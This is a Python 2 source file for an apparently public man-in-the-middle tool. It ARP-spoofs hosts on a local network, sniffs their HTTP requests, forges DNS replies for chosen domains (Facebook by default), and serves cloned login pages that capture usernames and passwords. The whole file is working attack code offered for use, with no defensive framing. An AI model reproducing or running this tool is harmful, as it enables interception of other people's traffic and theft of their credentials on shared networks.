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app.py
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#! /usr/bin/env python2
"""
=========================== Made by ==========================
@Author : JTJ([email protected])
WANG-A([email protected])
@GITHUB : https://github.com/jtjisgod/JW_MITM
=========================================================================
========================== Thanks to =========================
This Source based on MITMer, Thank you for @husam212.
Base Source URL : https://github.com/husam212/MITMer
=========================================================================
"""
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
from nfqueue import *
from signal import signal, pause, SIGINT, SIGKILL
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from subprocess import Popen, PIPE, STDOUT
from multiprocessing import Process, Pipe
from argparse import ArgumentParser
from threading import Thread, Lock, active_count
from socket import socket, gethostbyname, AF_INET
from urllib2 import urlopen
from cgi import FieldStorage
from re import sub
from os import kill, getpid, geteuid
from time import sleep
from sys import exit
conf.verb = 0
conf.checkIPaddr = 0
WHITE = "\033[0m" # MAIN
GRAY = "\033[37m" # EXTRA
RED = "\033[31m" # CREDS
class ARPSpoof(Thread):
def __init__(self, iface, iface_mac, gw_ip, gw_mac, host):
Thread.__init__(self)
self.iface = iface
self.iface_mac = iface_mac
self.gw_ip = gw_ip
self.gw_mac = gw_mac
self.host = host
self.vic_mac = get_mac(host)
def run(self):
gw_pkt = ARP(op=2, hwsrc=self.iface_mac, psrc=self.host,
hwdst=self.gw_mac, pdst=self.gw_ip)
vic_pkt = ARP(op=2, hwsrc=self.iface_mac, psrc=self.gw_ip,
hwdst=self.vic_mac, pdst=self.host)
while True:
send(vic_pkt, count=2)
send(gw_pkt, count=2)
sniff(filter="arp and host %s" % self.host , count=1, timeout=4)
def heal(self):
gw_pkt = ARP(op=2, hwsrc=self.gw_mac, psrc=self.gw_ip,
hwdst=self.vic_mac, pdst=self.host)
vic_pkt = ARP(op=2, hwsrc=self.vic_mac, psrc=self.host,
hwdst=self.gw_mac, pdst=self.gw_ip)
send(vic_pkt, count=2)
send(gw_pkt, count=2)
class URLInspect(Thread):
def __init__(self, iface, host, conn,
skip=["ocsp", ".jpg", ".jpeg", ".gif", ".png", ".css", ".ico", ".js", ".svg"]):
Thread.__init__(self)
self.iface = iface
self.host = host
self.conn = conn
self.skip = skip
self.past_url = None
def run(self):
sniff(store=0, filter="port 80 and host %s"
% self.host, prn=self.parse, iface=self.iface)
def parse(self, pkt):
if pkt.haslayer(Raw) and pkt.haslayer(TCP):
load = repr(pkt[Raw].load)[1:-1]
try:
headers, body = load.split(r"\r\n\r\n", 1)
except:
headers = load
header_lines = headers.split(r"\r\n")
url = ""
post = ""
get = ""
host = ""
for l in header_lines:
if re.search('[Hh]ost: ', l):
try:
host = l.split('Host: ', 1)[1]
except:
try:
host = l.split('host: ', 1)[1]
except:
pass
if re.search('GET /', l):
try:
get = l.split('GET ')[1].split(' ')[0]
except:
pass
if re.search('POST /', l):
try:
post = l.split(' ')[1].split(' ')[0]
except:
pass
try:
if host and post:
url = host+post
if len(url) > 80:
url = url[:77] + "..."
if not url == self.past_url:
self.conn.send(["POST",
[self.host, gethostbyname(url.split("/")[0]), url]])
self.past_url = url
except:
pass
try:
if host and get:
url = host+get
if not any(i in url for i in self.skip):
if len(url) > 80:
url = url[:77] + "..."
if not url == self.past_url:
self.conn.send(["GET",
[self.host, gethostbyname(url.split("/")[0]), url]])
self.past_url = url
except:
pass
class HTTPHandler(BaseHTTPRequestHandler):
def __init__(self, fp, dname, conn, *args):
self.fp = fp
self.dname = dname
self.conn = conn
BaseHTTPRequestHandler.__init__(self, *args)
def do_GET(self):
host, port = self.client_address
if self.path == "/":
try:
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(self.fp)
self.wfile.close()
except:
self.send_error(404, "Server Not Found.")
def do_POST(self):
if self.path == "/login":
environ = {'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': self.headers['Content-Type']}
form = FieldStorage(fp=self.rfile, headers=self.headers, environ=environ)
for att in form:
if re.search("[Ee]mail|[Uu]ser|[Uu]sername", str(att)):
user = form[att].value
if re.search("[Pp]ass|[Pp]assword|[Pp]asswd", str(att)):
passwd = form[att].value
self.conn.send(["CRED", [self.dname, user, passwd]])
try:
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
html = "<meta http-equiv=\"refresh\"content=\"3; url=https://%s\" />" % self.dname
self.wfile.write(html)
self.wfile.close()
except:
pass
self.conn.send(["STOP", None])
os.kill(getpid(), SIGKILL)
def log_message(self, format, *args):
return
class WebServer(Process):
def __init__(self, fp, dname, port, conn):
Process.__init__(self)
self.fp = fp
self.dname = dname
self.port = port
self.conn = conn
def handler(self, *args):
HTTPHandler(self.fp, self.dname, self.conn, *args)
def run(self):
server = HTTPServer(('', self.port), self.handler)
server.serve_forever()
class DNSSpoof(Process):
def __init__(self, iface_ip, hosts, dnames, conn):
Process.__init__(self)
self.iface_ip = iface_ip
self.hosts = hosts
self.conn = conn
self.fp_bank = self.get_fp_bank(dnames)
self.server_on = False
def run(self):
nfq = queue()
nfq.set_callback(self.reply)
nfq.fast_open(0, AF_INET)
nfq.set_mode(NFQNL_COPY_PACKET)
nfq.try_run()
def reply(self, pkt):
data = IP(pkt.get_data())
if not data.haslayer(DNSQR):
pkt.set_verdict(NF_ACCEPT)
else:
ip = data[IP]
udp = data[UDP]
dns = data[DNS]
dname = dns.qd.qname[:len(dns.qd.qname)-1]
if ip.src in self.hosts:
self.conn.send(["DNS", [ip.src, ip.dst, dname]])
if dname in self.fp_bank.keys():
self.conn.send(["ATT", [ip.src, dname]])
pkt.set_verdict(NF_DROP)
if not self.server_on:
server_proc = WebServer(self.fp_bank[dname], dname, 80, self.conn)
server_proc.start()
self.server_on = True
reply = (IP(dst=ip.src, src=ip.dst) /
UDP(dport=udp.sport, sport=udp.dport) /
DNS(id=dns.id, qr=1, aa=1, qd=dns.qd,
an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=self.iface_ip)))
sleep(1)
send(reply, count=2)
def falsify(self, html):
# TO BE IMPLEMENTED PROPERLY
return re.sub('action=".*?"', 'action="/login"', html)
def get_fp_bank(self, dnames):
self.conn.send(["STAT", "Creating fake pages"])
fixed = []
for dname in dnames:
if "www" == dname.split(".")[0]:
fixed.append(".".join(dname.split(".")[1:]))
else:
fixed.append("www." + dname)
fixed.append(dname)
fp_bank = {}
for dname in fixed:
try:
hfile = urlopen("http://%s" % dname)
except:
self.conn.send(["STAT", "No internet!"])
self.conn.send(["STOP", None])
return fp_bank
fp_bank[dname] = self.falsify(hfile.read())
return fp_bank
class NScan(Process):
def __init__(self, iface, hosts, conn):
Process.__init__(self)
self.iface = iface
self.hosts = hosts
self.conn = conn
self.iface_ip = get_ip(iface)
self.gw_ip = get_gw(iface)
def run(self):
p = Popen("ip route | grep -m1 -E '%s.*link.*src %s' | awk '{print $1}'" %
(self.iface, self.iface_ip), shell=True, stdout=PIPE)
netid = p.communicate()[0].rstrip()
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /
ARP(pdst=netid), timeout=5, iface=self.iface, inter=0.1)
for snd, rcv in ans:
if rcv.psrc not in [self.gw_ip, self.iface_ip] + self.hosts:
self.conn.send(["HOST", rcv.psrc])
def set_forward(enable):
if enable:
Popen("sysctl -w net.ipv4.ip_forward=1", shell=True, stdout=PIPE, stderr=STDOUT)
else:
Popen("sysctl -w net.ipv4.ip_forward=0", shell=True, stdout=PIPE, stderr=STDOUT)
def set_nfq(enable):
if enable:
Popen("modprobe nfnetlink_queue", shell=True, stdout=PIPE, stderr=STDOUT)
Popen("iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 0",
shell=True, stdout=PIPE, stderr=STDOUT)
else:
Popen("iptables -F", shell=True, stdout=PIPE)
Popen("iptables -t nat -F", shell=True, stdout=PIPE)
Popen("iptables -X", shell=True, stdout=PIPE)
Popen("iptables -t nat -X", shell=True, stdout=PIPE)
def get_ip(iface):
p = Popen("ip route | grep %s | grep 'src' | awk '{print $9}'" % iface,
shell=True, stdout=PIPE)
output = p.communicate()[0].rstrip()
return output
def get_mac(ip, local=False):
if ip == "255.255.255.255":
return "ff:ff:ff:ff:ff:ff"
if local:
p = Popen("arp -a | grep '(%s)' | awk '{print $4}'" % ip,
shell=True, stdout=PIPE)
output = p.communicate()[0].rstrip()
return output
else:
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /
ARP(pdst=ip), timeout=4, retry=2)
for snd, rcv in ans:
return rcv.sprintf("%Ether.src%")
def get_gw(iface):
p = Popen("ip route show 0.0.0.0/0 dev %s | awk '{print $3}'" % iface,
shell=True, stdout=PIPE)
output = p.communicate()[0].rstrip()
return output
def valid_ip(s):
if len(s.split('.')) != 4:
return False
for x in s.split('.'):
if not x.isdigit():
return False
if int(x) < 0 or int(x) > 255:
return False
return True
def get_if_list():
f = open("/proc/net/dev", "r")
lst = []
f.readline()
f.readline()
for l in f:
iface = l.split(":")[0].strip()
if iface != "lo":
lst.append(iface)
return lst
def get_if_mac(iface):
s = socket()
ifreq = ioctl(s, 0x8927, struct.pack("16s16x", iface))
s.close()
family, mac = struct.unpack("16xh6s8x", ifreq)
return ("%02x:"*6)[:-1] % tuple(map(ord, mac))
def get_dhcp(iface):
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff') /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=get_if_mac(iface)) /
DHCP(options=[("message-type", "discover"),
("param_req_list",
chr(DHCPRevOptions["router"][0]),
chr(DHCPRevOptions["domain"][0]),
chr(DHCPRevOptions["server_id"][0]),
chr(DHCPRevOptions["name_server"][0]),),
"end"]))
ans, unans = srp(dhcp, timeout=4, retry=2)
if ans:
for s, r in ans:
dhcp_opt = r[0][DHCP].options
dhcp_ip = r[0][IP].src
for opt in dhcp_opt:
if 'domain' in opt:
local_domain = opt[1]
pass
else:
local_domain = 'None'
if 'name_server' in opt:
dns_ip = opt[1]
else:
dns_ip = get_gw(iface)
dhcp_ip = dns_ip
local_domain = 'None'
return [dhcp_ip, dns_ip, local_domain]
def main():
def sig_handler(signal, frame):
child_conn.send(["STOP", None])
signal(SIGINT, sig_handler)
parser = ArgumentParser()
parser.add_argument("-iface", metavar="IFACE",
help="select network interface [%s]" % conf.iface)
parser.add_argument("-ip", metavar="IPADDR",
help="specify one or more IP addresss to attack [all]")
parser.add_argument("-http", action="store_true",
help="show HTTP GET and POST traffic")
parser.add_argument("-dns", action="store_true",
help="show DNS queries being requested")
parser.add_argument("-dnames", metavar="DOMAINS",
help="specify one or more websites domain names to spoof [facebook.com]")
args = parser.parse_args()
parent_conn, child_conn = Pipe()
if geteuid() != 0:
exit(WHITE + "Please run as root/superuser")
print(WHITE + "Initializing")
if args.iface:
iface = args.iface
else:
print(WHITE + "No interface specified, using default [%s]" % conf.iface)
iface = conf.iface
if args.dnames:
dnames = args.dnames.split()
else:
dnames = ["facebook.com"]
print(WHITE + "No domains specified, using default [facebook.com]")
iface_ip = get_ip(iface)
iface_mac = get_if_mac(iface)
gw_ip = get_gw(iface)
gw_mac = get_mac(gw_ip)
set_forward(True)
set_nfq(True)
arpspoof_thrds = []
urlinspect_thrds = []
hosts = []
if args.ip:
if valid_ip(args.ip):
print(GRAY + "Spoofing %s" % args.ip)
hosts.append(args.ip)
arpspoof_thrds.append(ARPSpoof(iface, iface_mac, gw_ip, gw_mac, args.ip))
arpspoof_thrds[-1].start()
urlinspect_thrds.append(URLInspect(iface, args.ip, child_conn))
urlinspect_thrds[-1].start()
else:
exit(WHITE + "IP address is invalid")
else:
print(WHITE + "Scanning network")
nscan_proc = NScan(iface, hosts, child_conn)
nscan_proc.start()
while True:
if parent_conn.poll():
recieved = parent_conn.recv()
if recieved[0] == "HOST":
print(GRAY + "Host detected %s" % recieved[1])
hosts.append(recieved[1])
print(GRAY + "Spoofing %s" % recieved[1])
arpspoof_thrds.append(ARPSpoof(iface, iface_mac, gw_ip, gw_mac, recieved[1]))
arpspoof_thrds[-1].start()
urlinspect_thrds.append(URLInspect(iface, recieved[1], child_conn))
urlinspect_thrds[-1].start()
if not nscan_proc.is_alive():
break
sleep(0.2)
if hosts == []:
print(WHITE + "No hosts detected")
exit(0)
dnsspoof_proc = DNSSpoof(iface_ip, hosts, dnames, child_conn)
dnsspoof_proc.start()
while True:
if parent_conn.poll():
recieved = parent_conn.recv()
if recieved[0] == "STOP":
print(WHITE + "Stopping")
set_forward(False)
set_nfq(False)
dnsspoof_proc.terminate()
for thrd in arpspoof_thrds:
print(GRAY + "Healing %s" % thrd.host)
thrd.heal()
sleep(5)
break
if recieved[0] == "STAT":
print(WHITE + recieved[1])
if recieved[0] == "ATT":
print(WHITE + "Attacking {:s} ({:s})".format(*recieved[1]))
if recieved[0] == "DNS" and args.dns:
print(GRAY + "{:15s} DNSQ {:15s} {:s}".format(*recieved[1]))
if recieved[0] == "GET" and args.http:
print(GRAY + "{:15s} GET {:15s} {:s}".format(*recieved[1]))
if recieved[0] == "POST" and args.http:
print(GRAY + "{:15s} POST {:15s} {:s}".format(*recieved[1]))
if recieved[0] == "CRED":
print(RED + "Website:{:s} Username:{:s} Password:{:s}".format(*recieved[1]))
sleep(0.2)
os.kill(getpid(), SIGKILL)
if __name__ == '__main__':
main()